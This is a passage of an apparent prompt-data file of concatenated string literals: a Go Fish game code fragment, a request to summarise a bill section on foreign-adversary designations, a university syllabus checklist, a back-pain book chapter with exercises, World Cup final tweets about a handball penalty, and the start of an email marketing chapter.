turn"\n UpdateTable()\n }\n function Give(toAdd,playerId){\n \n curPlayer = players[playerId]\n if (toAdd.length > 1) {\n for (var i = 0; i < toAdd.length; i++) {\n curPlayer.inventory.push(toAdd[i])\n curPlayer.suitlessInventory.push(toAdd[i].value)\n }\n } else {\n curPlayer.inventory.push(toAdd[0])\n curPlayer.suitlessInventory.push(toAdd[0].value)\n }\n \n for (var i = 0; i < toAdd.length; i++) {\n let drawnCard = toAdd[i]\n let countedOfDraw = curPlayer.suitlessInventory.filter(function(number) {return number === drawnCard.value;});\n \n if (countedOfDraw.length === 4){\n curPlayer.suitlessInventory = curPlayer.suitlessInventory.filter(function(number) {return number !== drawnCard.value;});\n curPlayer.inventory =curPlayer.inventory.filter(function(number) {return number.value !== drawnCard.value;});\n curPlayer.books++;\n UpdateTable()\n if (curPlayer.inventory.length ===0){\n message = curPlayer.name + " is out of the game"\n }\n }\n }' +"Summarize this section for me:\n\nSEC. 7. RESOLUTION OF DISAPPROVAL OF DESIGNATION OR REMOVAL OF \n DESIGNATION OF A FOREIGN ADVERSARY.\n\n (a) Definition.--In this section--\n (1) the term ``covered joint resolution'' means a joint \n resolution of disapproval of designation or a joint resolution \n of disapproval of removal of designation;\n (2) the term ``joint resolution of disapproval of \n designation'' means a joint resolution the matter after the \n resolving clause of which is as follows: ``That Congress \n disapproves the designation by the Secretary of Commerce of \\_\\_\\_ \n as a foreign adversary for purposes of the Securing the \n Information and Communications Technology and Services Supply \n Chain Act of 2023, and such designation shall have no force or \n effect until the Secretary of Commerce provides specific \n evidence to the relevant committees of Congress regarding the \n removal of designation under section 6(a) of that Act.'' (The \n blank space being appropriately filled in with the name of the \n foreign person of which the Secretary has designated as a \n foreign adversary of for purposes of this Act); and\n (3) the term ``joint resolution of disapproval of removal \n of designation'' means a joint resolution the matter after the \n resolving clause of which is as follows: ``That Congress \n disapproves the removal of designation by the Secretary of \n Commerce of \\_\\_\\_ as a foreign adversary for purposes of the \n Securing the Information and Communications Technology and \n Services Supply Chain Act of 2023, and such removal shall have \n no force or effect until the Secretary of Commerce provides \n specific evidence to the relevant committees of Congress \n regarding the removal of designation under section 6(a) of that \n Act.'' (The blank space being appropriately filled in with the \n name of the foreign government or regime of which the Secretary \n has removed the designation as a foreign adversary of for \n purposes of this Act).\n (b) Expedited Consideration of Legislation.--\n (1) Initiation.--In the event the Secretary designates a \n foreign government or regime as a foreign adversary or removes \n such designation as a foreign adversary, a joint resolution of \n disapproval of designation or a joint resolution of disapproval \n of removal of designation, as applicable, that is introduced \n during the 60-calendar day period thereafter shall be entitled \n to expedited consideration pursuant to this subsection.\n (2) Introduction.--During the 60-calendar day period \n provided for in paragraph (1), a covered joint resolution may \n be introduced--\n (A) in the Senate, by the Majority Leader (or the \n designee of the Majority Leader) or the Minority Leader \n (or the designee of the Minority Leader); and\n (B) in the House of Representatives, by the Speaker \n or the Minority Leader.\n (3) Floor consideration in house of representatives.--\n (A) Reporting and discharge.--If a relevant \n committee of the House to which a covered joint \n resolution has been referred has not reported such \n covered joint resolution within 10 legislative days \n after the date of referral, that committee shall be \n discharged from further consideration thereof.\n (B) Proceeding to consideration.--Beginning on the \n third legislative day after each committee to which \n covered joint resolution has been referred reports the \n covered joint resolution to the House or has been \n discharged from further consideration thereof, it shall \n be in order to move to proceed to consider the covered \n joint resolution in the House. All points of order \n against the motion are waived. Such a motion shall not \n be in order after the House has disposed of a motion to \n proceed on the covered joint resolution with regard to \n the same agreement. The previous question shall be \n considered as ordered on the motion to its adoption \n without intervening motion. The motion shall not be \n debatable. A motion to reconsider the vote by which the \n motion is disposed of shall not be in order.\n (C) Consideration.--The covered joint resolution \n shall be considered as read. All points of order \n against the covered joint resolution and against its \n consideration are waived. The previous question shall \n be considered as ordered on the covered joint \n resolution to final passage without intervening motion \n except 2 hours of debate equally divided and controlled \n by the sponsor of the covered joint resolution (or a \n designee) and an opponent. A motion to reconsider the \n vote on passage of the covered joint resolution shall \n not be in order.\n (4) Consideration in the senate.--\n (A) Committee referral.--A covered joint resolution \n introduced in the Senate shall be referred to the \n relevant committees of the Senate.\n (B) Reporting and discharge.--If a relevant \n committee of the Senate has not reported such covered \n joint resolution within 10 session days after the date \n of referral of such legislation, that committee shall \n be discharged from further consideration of such \n legislation and the covered joint resolution shall be \n placed on the appropriate calendar.\n (C) Proceeding to consideration.--Notwithstanding \n Rule XXII of the Standing Rules of the Senate, it is in \n order at any time after each committee authorized to \n consider covered joint resolution reports it to the \n Senate or has been discharged from its consideration \n (even though a previous motion to the same effect has \n been disagreed to) to move to proceed to the \n consideration of the covered joint resolution, and all \n points of order against covered joint resolution (and \n against consideration of the covered joint resolution) \n are waived. The motion to proceed is not debatable. The \n motion is not subject to a motion to postpone. A motion \n to reconsider the vote by which the motion is agreed to \n or disagreed to shall not be in order. If a motion to \n proceed to the consideration of the covered joint \n resolution is agreed to, the covered joint resolution \n shall remain the unfinished business until disposed of.\n (D) Debate.--Debate on covered joint resolution, \n and on all debatable motions and appeals in connection \n therewith, shall be limited to not more than 10 hours, \n which shall be divided equally between the majority and \n minority leaders or their designees. A motion to \n further limit debate is in order and not debatable. An \n amendment to, or a motion to postpone, or a motion to \n proceed to the consideration of other business, or a \n motion to recommit the covered joint resolution is not \n in order.\n (E) Vote on passage.--The vote on passage shall \n occur immediately following the conclusion of the \n debate on the covered joint resolution and a single \n quorum call at the conclusion of the debate, if \n requested in accordance with the rules of the Senate.\n (F) Rulings of the chair on procedure.--Appeals \n from the decisions of the Chair relating to the \n application of the rules of the Senate, as the case may \n be, to the procedure relating to a covered joint \n resolution shall be decided without debate.\n (G) Consideration of veto messages.--Debate in the \n Senate of any veto message with respect to a covered \n joint resolution, including all debatable motions and \n appeals in connection with such covered joint \n resolution, shall be limited to 10 hours, to be equally \n divided between, and controlled by, the Majority Leader \n and the Minority Leader or their designees.\n (5) Rules relating to senate and house of \n representatives.--\n (A) Coordination with action by other house.--If, \n before the passage by one House of a covered joint \n resolution of that House, that House receives a covered \n joint resolution from the other House, then the \n following procedures shall apply:\n (i) The covered joint resolution of the \n other House shall not be referred to a \n committee.\n (ii) With respect to covered joint \n resolution of the House receiving the \n legislation--\n (I) the procedure in that House \n shall be the same as if no covered \n joint resolution had been received from \n the other House; but\n (II) the vote on passage shall be \n on the covered joint resolution of the \n other House.\n (B) Treatment of a covered joint resolution of \n other house.--If one House fails to introduce a covered \n joint resolution under this section, the covered joint \n resolution of the other House shall be entitled to \n expedited floor procedures under this section.\n (C) Treatment of companion measures.--If, following \n passage of the covered joint resolution in the Senate, \n the Senate then receives a companion measure from the \n House of Representatives, the companion measure shall \n not be debatable.\n (c) Rules of Senate and House of Representatives.--Subsection (b) \nis enacted by Congress--\n (1) as an exercise of the rulemaking power of the Senate \n and the House of Representatives, respectively, and as such are \n deemed a part of the rules of each House, respectively, but \n applicable only with respect to the procedure to be followed in \n that House in the case of legislation described in those \n sections, and supersede other rules only to the extent that \n they are inconsistent with such rules; and\n (2) with full recognition of the constitutional right of \n either House to change the rules (so far as relating to the \n procedure of that House) at any time, in the same manner, and \n to the same extent as in the case of any other rule of that \n House.\n (d) Effect of Covered Joint Resolution.--\n (1) Joint resolutions of disapproval of designation.--A \n joint resolution of disapproval of designation that is enacted \n in accordance with this section shall remove the designation as \n a foreign adversary of a foreign government or regime that is \n the subject of the joint resolution of disapproval of \n designation for purposes of this Act.\n (2) Joint resolutions of disapproval of removal of \n designation.--A joint resolution of disapproval of removal of \n designation that is enacted in accordance with this section \n shall prohibit the removal of designation as a foreign \n adversary of a foreign government or regime that is the subject \n of the joint resolution of disapproval of removal of \n designation for purposes of this Act.1 / 1" +"Write a syllabus for the AI and marketing course. Follow this checklist:\nSYLLABUS CHECK-LIST (8/20/2020)\nI) GENERAL INFORMATION: UNIVERSITY & COURSE\n• University name, semester and year\n• Course number, title, section number, days, time (start and end), classroom location, credit hours.\nII) INSTRUCTOR CONTACT INFORMATION\n• Instructor name(s), title, office location, preferred mode of contact (phone, email, etc.) office hours.\nIII) COURSE SPECIFIC INFORMATION\n• Course Description: Provide description from the most recent LMU Bulletin.\n• Core and/or Flagged courses: If applicable, please indicate whether the course satisfies a\nCore attribute and/or flag.\n• Course Structure: Describe the modality of the course--in person\\*\\*, online (synchronous or asynchronous), or hybrid [please refer to the “High-Touch Teaching in a No-Touch World” document (https://academics.lmu.edu/cte/onlinehybridlearning/)].\n\\*\\*Note: All in-person courses and all in-person sessions from hybrid courses (some classes online and some in-person) will need to have a bimodal component. Examples of bimodal components include a simultaneous remote learning option for each in person class section via zoom and/or an equivalent asynchronous option (e.g., Echo 360 recordings, Brightspace assignments, etc.)\n• Instructions to Access Brightspace: Go to https://brightspace.lmu.edu, Enter your username and password, Click on your course title. If you have trouble logging in Brightspace, contact ITS Help Desk.) and list activities and materials that will be available through Brightspace (Echo 360/zoom lecture capture, course handouts, readings, discussion board, assignments, etc.). Ensure that your course modality can accommodate those students requiring a fully online experience for all or some portion of the semester as needed.\n• Learning Outcomes: Describe what students will know, be able to do, and value upon successful completion of thecourse.\n• Instructional Methods: Describe instructional methods such as lecture, discussion, problem-based learning, group work, projects, presentations, critiques, community- based learning, portfolios, etc. Address how this will apply to synchronous and asynchronous aspects.\n• Prerequisites (if any)\n• Required Text(s) and Other Required Learning Instruments, ( e.g. webtools for\nhomework assignments, subscriptions, etc.) (if any). Consult with library staff early in your course planning if you intend to adopt library resources or make course materials available through Reserves in the Library or Brightspace E-Reserve. To maximize affordability and accessibility for your students, please consider exploring adoption of course materials through the Open & Affordable Textbook Initiative.\n \n• Required Lab Fee(s) (if any): As discussed with Department Chair/Program Director, pursuant to College/School procedures or policies, if any, and as published in the Registrar’s Real-Time Schedule of Classes.\n• Assignments, including Readings, Projects (with grading rubrics, if available), etc.: In addition to identifying the nature of assignments indicate policies, including where the assignments will be posted, how the assignment due dates will be announced, how the assignments will be submitted.\n• Exams/Quizzes (if applicable): Give policy on missed exams or quizzes. Provide information on how the Final Exam will be administered (take home vs during the scheduled Final Exam date/time –available from the Registrar’s calendar). If you are planning to use Zoom or Respondus for the exams, provide students’ instructions about expectations and how to use these tools (for information on Respondus see: https://its.lmu.edu/whatwedo/instructionaltechnology/respondus/).\n• Work Load Expectations: Indicate the average minimal time students are expected to spend per week on class- related learning activities, and all substantial one-time activities (e.g., a weekend trip), in line with LMU’s Credit Hour Policy, see https://www.lmu.edu/media/lmuacademics/provost/documents/LMU%20Credit%20Hour% 20Policy\\_Final.pdf.\n• Grading Scheme: Be very specific regarding the components of the grade, how each is weighted and include “floors” for each of the letter grades A (or A range) through D (or D range).\n• Attendance/Participation: If applicable, describe how you will track attendance/participation and how attendance/participation affects grades. Also check departmental/program/college/school policies and norms (Student Health Services, SHS, does not issue medical excuse notes). If attendance/participation is required, discuss how you will accommodate situations such as student illnesses, international time differences in the case of synchronous online content and any other complicated situations. Note: Due to COVID-19, students may need to miss class because of illness, quarantine, isolation or other COVID-related reasons. Please describe your expectations for communication with students around COVID-related absences and how students can learn remotely for one missed class session or via longer arrangement. Please do not ask for medical or other HIPAA protected information.\n• Use of Technology: Explain what will be used/required/optional/allowed and how to access it. For example, if your exam policy or participation policy requires the use of webcam, state it and discuss any exceptions to it. For technology assistance, provide the following information: ITS Service Desk (Phone: 310-338-7777 or 213-736-1097, Email: helpdesk@lmu.edu, Self-service: https://lmu.service-now.com/servicedesk). Note: Please be mindful to put in your syllabus the full number of the ITS Service Desk as students may be dialing from off campus phones.\n• Extra Credit: If offered, it must be fairly offered to all students and announced in a timely manner. Be specific how it is factored into the grading.\n \nIV) UNIVERSITY POLICY STATEMENTS (REQUIRED)\nA. Academic Honesty a. General statement\nLoyola Marymount University is a community dedicated to academic excellence, student- centered education and the Jesuit and Marymount traditions. As such, the University expects all members of its community to act with honesty and integrity at all times, especially in their academic work. Academic honesty respects the intellectual and creative work of others, flows from dedication and pride in performing one’s own best work, and is essential if true learning is to take place. As an LMU Lion, by the Lion’s Code, you are pledged to join the discourse of the academy with honesty of voice and integrity of scholarship.\nAcademic dishonesty will be treated as an extremely serious matter, with serious consequences that can range from receiving no credit for assignments/tests to expulsion.\n• It is never permissible to turn in any work that has been copied from another student or copied from a source (including Internet) without properly acknowledging/citing the source.\n• It is never permissible to work on an assignment, exam, quiz or any project with another person unless your instructor has indicated so in the written instructions/guidelines.\n• It is your responsibility to make sure that your work meets the standard of academic honesty set forth in the “LMU Honor Code and Process.” The LMU Academic Honor Code and Process can be found at: https://academics.lmu.edu/honesty/\nb. LMU Academic Honesty Policy (https://academics.lmu.edu/honesty): Unauthorized\n • • •\nc.\nAccess to or Alteration of Privileged and Proprietary Information:\nUnauthorized access to and/or use of privileged University documents, files, or information and/or alteration thereof by electronic or any other means.\nUnauthorized access to and/or use of proprietary information. For example, the unauthorized dissemination of research prior to publication.\nUnauthorized access to and/or use of University course resources and materials. For example, distributing any course materials (syllabus, assignments, exams, etc.) without explicit permission from the instructor. Therefore, dissemination or sharing of any classroom recording (e.g., Zoom or other videos posted by the instructor) without the permission of the instructor would be considered “unauthorized use” and, therefore, prohibited\nSee also Academic Honesty Considerations in an Online Learning Environment (next section)\nB. AmericanswithDisabilitiesAct–SpecialAccommodations\nStudents with special needs who require reasonable modifications, special assistance, or accommodations in this course should promptly direct their request to the Disability Support Services (DSS) Office. Any student who currently has a documented disability (ADHD, Autism Spectrum Disorder, Learning, Physical, or Psychiatric) needing\n\nacademic accommodations should contact the DSS Office (Daum Hall 2nd floor, 310- 338-4216) as early in the semester as possible. All discussions will remain confidential. Please visit http://www.lmu.edu/dss for additionalinformation. Please ask for help as early in the semester as possible!\nStudents should also keep in mind that resources are available through the Library (https://library.lmu.edu) and Information Technology Services (https://its.lmu.edu). The DSS Office can help students connect with the appropriate person at the Library and ITS.\nC. Tentative Nature of the Syllabus\nIf necessary, this syllabus and its contents are subject to revision. Students are responsible for any changes or modifications announced or distributed in class, emailed to students’ LMU Lion accounts or posted on LMU's course management system, Brightspace. If you are absent from an in-person or online class meeting, it is the student’s responsibility to check Brightspace and with the professor to see if you missed any important class announcements. Students should not rely on word-of-mouth from classmates.\nV) OTHER POLICY STATEMENTS (RECOMMENDED)\n• Expectations for Classroom Behavior (https://academics.lmu.edu/media/lmuacademics/centerforteachingexcellence/documents/ LMU%20Student%20Classroom%20and%20Course-Related%20Behavior.pdf). See also Expectations for Classroom Behavior in an Online Learning Environment (in Part 2).\n• Electronic devices in the virtual classroom\nPlease turn off and put out of sight all electronic devices (other than those and when allowed) during class-time. The interruptions and/or distractions they cause disrupt class and interfere with the learning process. Even if you are not on video, it’s distracting to you.\n• EIBC - Effective Infectious Behavior Control (https://studentaffairs.lmu.edu/media/studentaffairs/osccr/documents/2021-COVID-19- Excellent-Infectious-Behavior-Control-Guidelines-and-Policy.pdf).\n• Student responsibility for checking identified communication channels\na. Use your lion.lmu.edu email address. Check it often or forward it to your other email\naddress.\nb. To support this course on Brightspace you will need access to the Internet and a\nsupported Web browser (Internet Explorer, Chrome, Firefox, etc.). To ensure that you are using the recommended personal computer configurations, please refer to the Brightspace tutorial link.\nc. Technical assistance: If you need technical assistance at any time during the course or to report a problem with Brightspace you can seek assistance from the HELP Desk. helpdesk@lmu.edu.\n• Reporting Requirements of Sexual or Interpersonal Misconduct\nAs “responsible employees,” faculty are required to report any case of suspected sexual or interpersonal misconduct and cannot protect student confidentiality. For information about confidential counseling on campus and for general information about consensual relationships, sexual harassment, and sexual assault, please see the LMU Cares website:\n \nhttp://studentaffairs.lmu.edu/lmucares/.\n• Student Self-Care\nPlease prioritize your self-care. LMU has many health and wellness resources available to support you at every step of your journey. Learn more at lmu.edu/lionwellness.\n• Emergency Preparedness Information\nPublic Safety can be reached 24/7 365 at 310.338.2893 (or x222 from a campus phone). In a life-\nthreatening emergency, call 9-1-1 first and then call Public Safety if possible. To report an incident, call Public Safety, submit an e-report on the Public Safety website or via the Rave Guardian mobile app, or visit Public Safety in Foley Annex. Review evacuation information and other safety tips posted in each learning space. Make sure you’re registered to receive emergency alerts – confirm your contact info at lmu.edu/alert, and download Rave Guardian in the Apple or Google Play store. For more information and emergency preparedness tips,\nvisit https://publicsafety.lmu.edu." +'CHAPTER EIGHTEEN\n Special Conditions\n From Jeremy\nI find this material fascinating but you don’t have to read it unless you have one of the headlined conditions. This is an effort to give some help to people with serious conditions who are likely to need medical help, or at least some level of medical supervision as well as “book help.” \nThere are some more extreme or special conditions causing back pain for which you are going to want to receive individual guidance from a physician but for which you may also get substantial help from the book. Here and elsewhere, you may ask: If I have to go to a therapist for this anyway, why not leave it all to him or her? The answer is twofold. First, the concepts and exercises in the book will give you a great foundation on which to build the more specific treatments suggested by your caregiver. But, second, in my experience, too many therapists treating these conditions jump right into the specific exercises and stretches for these conditions without building an adequate foundation of spine health and strength. That’s what this book does. \nSo . . . get started with this book and then seek out specific treatment. But be alert: Some of these exercises can exacerbate pain for some sufferers. If that happens to you, stop. Sorry that this is so complicated. You are almost always going to get substantial help from the general advice you have already read but—for these special conditions—you will also benefit from the specific advice in this chapter. See your doctor and strike your own balance between medical help and the advice we offer here. It is a two-sided approach and—often with these special conditions—both can help. Typically, the medical help alone—great relief though it may be—is not going to provide a complete, permanent solution. \nDisc Herniations\nThis means a burst disc and it is very serious business, as you already know. You should start by seeing a medical doctor. If a doctor has told you that you should try conservative (that is, nonintrusive) care for a herniated disc but you are in too much pain to start this book, you may benefit from a steroid injection to calm the pain down. I am slow to recommend that step, but this may be one of the situations where it makes sense. Sometimes an injection can bring the pain and inflammation down to a tolerable level so that rehab exercises can be undertaken. You should be warned that steroid injections can slow the healing process of a herniated disc. Talk with your doctor about the risks and benefits of a steroid injection.\nIf you are having pain down your leg from a herniated disc, something called nerve flossing can sometimes help. It may sound like a joke, but it is not. Nerve flossing is a technique that attempts to traction or “scrub” the nerve roots as they exit the spinal cord near the herniated disc to remove material that sometimes builds up on them. If there is “stuff” stuck to the nerve roots or nerves (it is likely to be either pieces of disc material or scar tissue), that “stuff” can cause or exacerbate pain, and removing it can help a lot. Nerve flossing can sometimes do precisely that and provide significant relief. Caution: This technique can sometimes cause an increase in pain initially, before it reduces it. Sometimes it doesn’t work. But it works enough to be worth the shot. There are countless YouTube videos out there on this subject. My favorite approach is Dr. Stuart McGill’s. He has various videos and describes his approach in detail in his books. \nHypermobile Sacroiliac (SI) Joint Pain\nThis pain can be one of the most difficult and stubborn conditions to treat, in my experience. The sacroiliac, or “SI,” joint is the joint in your pelvis where the sides of your pelvis connect with your sacrum. \nThe SI joint is not supposed to move very much in a healthy individual. It is crossed by large ligaments and muscles that keep it taut. SI joints that move too much can cause recurring episodes of severe pain. This commonly starts with a sprain of these ligaments from a hard fall to the buttocks or from giving birth. Once the ligaments are deformed, the SI joint can become unstable. Learning to engage the core and gluteal muscles at the appropriate times can help people with chronic SI pain. \nA medical intervention is sometimes needed. One approach is prolotherapy, an injection therapy whose goal is to tighten up loose ligaments and stabilize joints. An irritant is injected around the SI joint to cause scarring and stiffening of the ligaments that cross the joint, resulting in a more stable joint. In my experience, this works slightly more than 50 percent of the time. Try this book first and see how much relief you get. You will likely get significant relief. If not, consult several prolotherapy practitioners before deciding to try it. \nBefore considering prolotherapy, try these exercises in addition to the ones you’ve already learned.\nIsometric Adduction \nThe goal here is to strengthen the muscles on the insides of your legs without moving the unstable SI joint. You will need a medicine ball, thick pillow, or something similar for this exercise.\n\nStep 1: Lie on your back with your knees bent. Put the medicine ball between your knees. \nStep 2: Find your neutral spine and brace your core.\nStep 3: Squeeze the ball between the knees with 50 percent strength, being careful not to lose your core brace. Hold for ten seconds.\nStep 4: Repeat ten reps. Do two to three sets. \nIsometric Abduction\nAs with the previous exercise, the goal is to avoid moving the unstable SI joint. The difference here is that you are working on the muscles on the outside of your hips. You will need tubing or an elastic band for this exercise.\nStep 1: Lie on your back with your knees bent. \nStep 2: Find neutral spine and brace your core.\n\nStep 3: Wrap the band or tube around your thighs and below the knees.\n\nStep 4: Engage your glutes and move your knees outward about 45 degrees.\nStep 5: Hold ten seconds.\nStep 6: Do ten reps, two to three sets.\n“Bicycles” on Your Side\nThis exercise is very challenging to do properly. One of the goals is to keep your leg in the same “horizontal plane” throughout. By this I mean not to let your leg wander up or down if you were viewing it from the side. Rather, keep it steady with the knee and foot in the same position relative to each other throughout the movement.\nStep 1: Lie on your side with your top arm on the floor in front of you for support.\nStep 2: Brace your core.\n\nStep 3: With the movement of bicycle pedaling in mind, raise your top knee up toward your torso and then push the foot out in front of you. Then bring it back behind you to make a big circle at the hip, as if you were pedaling a bicycle on your side. As you bring the leg behind you, focus on engaging the glutes and opening up the front of the hip.\n\nStep 4: Go only as far as you can without moving your back. \nStep 5: Do ten reps. \nStep 6: Then, go the opposite direction. \nStep 7: Push your heel back behind you, engaging the glutes and stretching out your hip flexors as your foot goes behind you. \nStep 8: While moving the leg, do not let it wander up or down. In other words, stay in the same horizontal plane the entire time. \nBulging Disc\nMost bulging discs will heal on their own if pressures are taken off and the bulging disc is given the chance to recover. The most important thing with a bulging disc is to stop irritating it. You will need to limit activities that put the most pressure on the disc. This means doing much less of any activity that involves a seated position (driving, flying, etc.) as well as picking things up with a rounded back and twisting with the low back (golf, tennis, etc.). There are ways to continue to play these sports without twisting or bending the low back. Remember the concept of creep when you are required to sit. Break it up into twenty- to thirty-minute increments if you are required to sit all day. Avoiding creep is even more urgent when you have a bulging disc.\nFor some people, “press-ups” can help with bulging disc pain. These were initially recommended by Dr. Joseph McKenzie in his McKenzie protocol. His idea was that this exercise helps to shift the disc back into its natural position. \nPress-Ups\nI have seen some people, but certainly not all people, benefit from this. But it is worth a try.\nStep 1: Lie facedown on the floor with your elbows bent and your arms flat on the floor on either side of you, palms down.\nStep 2: Lightly brace your core. \n\nStep 3: Here’s the hard part: You are going to attempt to press your upper body up off the floor without using the muscles in your low back. Your arms should be doing all of the work and your low back should be relaxed. If you have a bulging disc and you start to lift your torso up with your back muscles, there’s a good chance they will go into spasm and make things quite a bit worse. \n\nStep 4: Very slowly and very carefully, start to push your upper body up off the floor. If your low back muscles kick in, stop and slowly \nlower yourself back to the floor to start again.\nStep 5: Continue up slowly. Go only as high as you can without your back muscles kicking in and without pain. Hold for ten seconds.\nStep 6: Slowly lower yourself back to the starting position using only your arms. Repeat five to ten reps. These can be done daily. \nStenosis\nSevere stenosis can be a serious problem and you may need medical help. But it is also true that often the things we have taught you so far will help quite a lot. Indeed, they may be an answer, so it is worth a try. We do not hold out the promise of an 80 percent success rate with severe stenosis, but the chances of success are substantial and well worth a try. Cases of mild to moderate stenosis typically respond very well to the approaches presented in this book.\nThe process will seem familiar now. Primarily, it is just a matter of finding (and maintaining) your neutral spine so that the irritation can die down. Once you feel comfortable with neutral spine, start to try walking again. For most people with stenosis, walking for moderate distances can be a problem. Make sure to keep your neutral spine and swing your arms from the shoulders as we talked about earlier. In addition, stop and take breaks and sit down before the pain starts. Eventually try to increase the distance you can go between sitting breaks. With increased fitness and endurance in the core muscles, these times between sitting will get longer and longer. Again, I caution that if you have very severe stenosis, you may be one of the relatively few who need surgery. This is especially true if you have leg symptoms and/or weakness. That said, I have seen countless patients whose MRIs showed moderate to severe stenosis (lateral or central) who were able to get back to a low level of pain and high level of function without surgery. So it is worth a shot. \nFor many with lateral or central stenosis, bicycling can be a great way to get exercise and relieve the back, because of the forward-bent posture when on a bike. Another solution is to do the following stretch to relieve the discomfort caused by stenosis' +'Describe as reporting live a current event in max 3 lines, what is happening right now using the following tweets, with a focus on the term "handball"\n\nsourceText Time\nHandball! Penalty kick for France!! #WorldCupFinal 17:36:26.0000000\nPenalty France handball! 17:35:51.0000000\nHandball and penalty for France 17:36:02.0000000\nHANDBALL!!! PENALTY!!!\'\'#ARGFRA #FIFAWorldCup 17:36:04.0000000\nPenalty to France. Handball 17:35:44.0000000\nHANDBALL!! PENALTY!!! #WorldCup #ArgentinaVsFrance 17:36:40.0000000\nHandball from Montiel. Penalty to France #ARGFRA 17:36:13.0000000\nHANDBALL THATS A PENALTY KICK FOR FRANCE 17:36:12.0000000\nHANDBALL!!!!! FRANCE GETS A PENALTY!!!! 17:36:15.0000000\n@FIFAWorldCup @TeamMessi now Argentina plays handball! Penalty!!!!!!!!!!!!!!!!!! 17:36:41.0000000\nHandball!!!! Penalty to France....\'\'Mbappe\'s hattrick? https://t.co/b711P9kC8Y 17:36:49.0000000\nPenalty to France for handball. 17:36:42.0000000\nPENALTY to France!! Handball in the area on an Mbappe shot and Mbappe will go or his hat-trick from the spot!! 17:36:02.0000000\nHandball called on Argentina in the penalty box!!! 17:36:03.0000000\nHandball Penalty! ????? #ARGFRA 17:36:06.0000000\nOmg it’s handball, penalty to France ???? 17:36:23.0000000\nHandball and it’s another penalty for France #ARGFRA 17:36:26.0000000\nPenalty to #FRA for handball by Montiel\'\'#ARGFRA #Qatar2022 #WorldCup 17:36:24.0000000\nOH MY GOD! A FRANCE PENALTY! HANDBALL!!! 17:36:33.0000000\nPENALTY TO FRANCE! HANDBALL ON MONTIEL! \'\'https://t.co/c3VIDlmnjp 17:36:12.0000000\nPENALTY FOR FRANCE! HANDBALL!\'\'#ArgentinaVsFrance #FIFAWorldCupFinal 17:36:09.0000000\nWtf handball. Penalty for France. Omg. 17:36:20.0000000\nOh no Issa handball Gonzalo, penalty for ???? #WorldCupFinal 17:36:36.0000000\nOmg !! Handball penalty France 17:36:37.0000000\nHANDBALL IN THE ARGENTINE BOX OG MY GOD IT\'S A PENALTY FOR FRANCE 17:36:52.0000000\nHandball penalty\'#ARGFRA 17:36:37.0000000\nNow a handball penalty. #WorldCupFinal https://t.co/o0Vy0qZxv0 17:36:32.0000000\nHANDBALL PENALTY FOR FRANCE 17:36:10.0000000\nHANDBALL AND ITS A PENALTY KICK FOR FRANCE AND MBAPPE! 17:36:47.0000000\nPenalty to France! Handball! This is absolute madness 17:36:25.0000000\nHANDBALL PENALTY FOR FRANCE!! #ARGFRA 17:36:12.0000000\nGONZALO MONTIEL HANDBALL\'\'PENALTY TO FRANCE 17:36:14.0000000\nPENALTY! Handball in the box and France can level it here. #ARG #FRA 17:36:07.0000000\nHOW IS THIS MATCH STILL GOING ON?!\'\'Handball. Penalty to France. We\'re about to witness a Mbappé hattrick. #FIFAWorldCup 17:36:47.0000000\nMontiel with the handball, PENALTY for France 17:36:51.0000000\nHandball.. Penalty for france.. 17:36:38.0000000\n@CTPhDinSports @highlghtheaven Argentina got a handball and France gets a penalty shot 17:36:46.0000000\nWHHHHAAAATTTTT?!?! A handball!!! And a penalty for France!!! The arm is up there 17:36:05.0000000\nPenalty given for handball to France!! ?? 17:36:48.0000000\nHandball, penalty for France!???? 17:36:26.0000000\nIt\'s a France penalty!! Handball given!!\'\'#ARG 3-2 #FRA \'\'#FIFAWorldCup | #Qatar2022\'\'https://t.co/UmozTF4u8i 17:36:04.0000000\nA penalty!!! for France! in the last minutes from a handball for Montiel #FIFAWorldCup 17:36:38.0000000\nHandball!!! Penalty to France! ??\'\'#ARGvsFRA\'#FIFAWorldCup2022 17:36:52.0000000\nHandball \'\'It\'s a penalty n France should be back to this game ooo ?????? 17:36:30.0000000\nHandball in the box. Penalty to France. It hit Montiel\'s elbow. Ref was right on it. #ARGFRA #FIFAWorldCup 17:36:31.0000000\nHANDBALL, PENALTY FRANCE OMDDDSSS WTF IS THIS GAME. 17:36:31.0000000\nFrance has a penalty with five minutes remaining! A handball sends them to the spot, and Mbappe will take it! 17:36:39.0000000\nanother penalty for France handball 17:36:34.0000000\nHANDBALL\'PENALTY FOE FRANCE\'ANOTHER TWISTT 17:36:56.0000000\nPenalty to France. Montiel handball - a tough one. 17:36:25.0000000\nHANDBALL ARGENTINA!! PENALTY KICK FRANCE!!! #ARGvsFRA #ArgentinaVsFrance #ARG #FRA #FIFAWorldCup #Qatar2022 17:36:17.0000000\nHANDBALL PENALTY FRANCE 17:36:29.0000000\nPENALTY TO FRANCE \'\'HANDBALL https://t.co/MWaO4tN2yQ 17:36:08.0000000\n#ArgentinaVsFrance\'#FIFAWorldCup \'Handball! France awarded penalty 17:36:35.0000000\nHandball! Penalty to France and a yellow card to Montiel! This game keeps changing! #ARGFRA \'#FIFAWorldCup | #Qatar2022 17:36:33.0000000\nHandball. Penalty for France 17:36:07.0000000\nPenalty To France for handball 17:36:52.0000000\nPENALTY!! HANDBALL FRANCE LETS GO 17:36:02.0000000\nHandball another penalty for France 17:36:02.0000000\nHANDBALL AND PENALTY FOR FRANCE 17:35:52.0000000\nPenalty for France yet again. Clear handball. This wc final refuses to end jeeez. Club football we need you ???? 17:36:42.0000000\nA PENALTY FOR FRANCE!!! HANDBALL ON MONTIEL!! #FIFAWorldCup 17:36:00.0000000\nHANDBALL ARGENTINA\'\'FRANCE HAS A PENALTY 17:35:50.0000000\nHandball! Penalty to France! 17:36:52.0000000\nHANDBALL!!! PENALTY KICK FOR FRANCE AGAIN!!! #FIFAWorldCup #ARGFRA 17:36:28.0000000\nOH NOO OH NOO HANDBALL AND PENALTY FOR FRANCE NOOOOOOO ????????\'\'SHITT LAAA MY COMMENT ONE HOUR AGO\'\'NOOOOO #FIFAWorldCup 17:36:44.0000000\nAnother penalty to France for handball! Scenes! 17:36:22.0000000\nClear penalty for France, handball, no argument. We\'ll see how Kolo Muani takes it. 17:36:28.0000000\n#WorldCupFinal \'#ArgentinaVsFrance \'\'115 \'\'penalty for France on a handball.\'\'mbappe likely to shoot again. 17:36:38.0000000' +'CHAPTER SEVEN\nEMAIL MARKETING\n\nWhat is Email Marketing?\nEmail marketing is a form of direct marketing that gives companies the opportunity to\ncommunicate with customers on their contact list regarding new products, sales, and\nother updates. Because of its high ROI, it is an essential component of the overall inbound\nstrategy for the majority of businesses.\nConsent, segmentation, and personalization 